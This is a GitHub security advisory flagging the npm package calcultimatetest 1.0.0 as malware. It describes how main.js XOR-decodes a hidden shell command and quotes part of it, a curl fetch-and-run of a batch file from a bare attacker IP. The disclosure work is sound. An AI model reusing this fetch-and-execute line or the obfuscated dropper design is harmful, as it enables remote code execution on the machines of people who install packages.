# GHSA-C7GV-MP6P-M8MJ: Malicious code in calcultimatetest (npm)

- Database: GitHub
- Malicious package: yes
- Published: 2026-11-19
- Modified: 2026-11-19

## Affected versions

- calcultimatetest (npm): 1.0.0

## Description

## Source: amazon-inspector (c22f8e10fa4d1483bc6841cfa7a171217dbbfbc9a98d13f405e2061afe053ac8)
The package is advertised as a calculator utility but main.js, which runs when the module is required, implements a staged remote-execution dropper. On load it reads a hex 'signature' field from package.json and XOR-decodes it using the key 'theskyisbeautiful' stored in config.json. The decoded string resolves to a shell command of the form 'EXEC_MODE=1; curl -fSL http://65.109.171.171/baseball.bat && cmd /c start /b...' — a bare-IP, plain-HTTP fetch-and-execute of a Windows batch payload. main.js checks whether the decoded string contains 'EXEC_MODE' and then invokes child_process.exec through a random 0–5 second setTimeout. In the currently published version the exec target is swapped to a benign 'echo render-init-ok' string, but the decoder, the gate, the exec wiring, and the attacker-controlled URL are all present and reachable on require(). main.js also rewrites the installed package.json to insert a sha256-derived 'signature' value when none is present, giving the signature-gated payload mechanism a persistence/tamper surface inside the installed artifact. The package otherwise ships only a Mandelbrot busy-loop as cover functionality, with no legitimate use for hex-encoded shell commands, XOR-decoded exec paths, or bare-IP HTTP downloads of.bat files.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/6306efcd2e5165329b81a44593e5176ac396d59b/osv/malicious/npm/calcultimatetest/MAL-2026-20192.json))

## References

- https://github.com/ossf/malicious-packages/blob/6306efcd2e5165329b81a44593e5176ac396d59b/osv/malicious/npm/calcultimatetest/MAL-2026-20192.json
- https://www.npmjs.com/package/calcultimatetest/v/1.0.0
- https://github.com/advisories/GHSA-c7gv-mp6p-m8mj

Page: https://cve.now/GHSA-C7GV-MP6P-M8MJ

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
